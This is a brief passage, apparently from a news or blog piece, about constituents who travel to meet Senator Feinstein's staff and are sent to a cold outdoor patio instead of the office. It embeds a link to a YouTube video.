They weren\u2019t expecting a warm reception from the senator\u2019s staff, but no one was ready for the chilly reception they received. Literally chilly. When they got there \u2013 some having traveled two hours through L.A. traffic to get there \u2013 they were told that Feinstein\u2019s staffer would not meet them in the senator\u2019s office, but <a href=\"https:\/\/www.youtube.com\/watch?v=87Li9oGb9UQ\" target=\"_blank\">rather on a cold outdoor patio<\/a>.
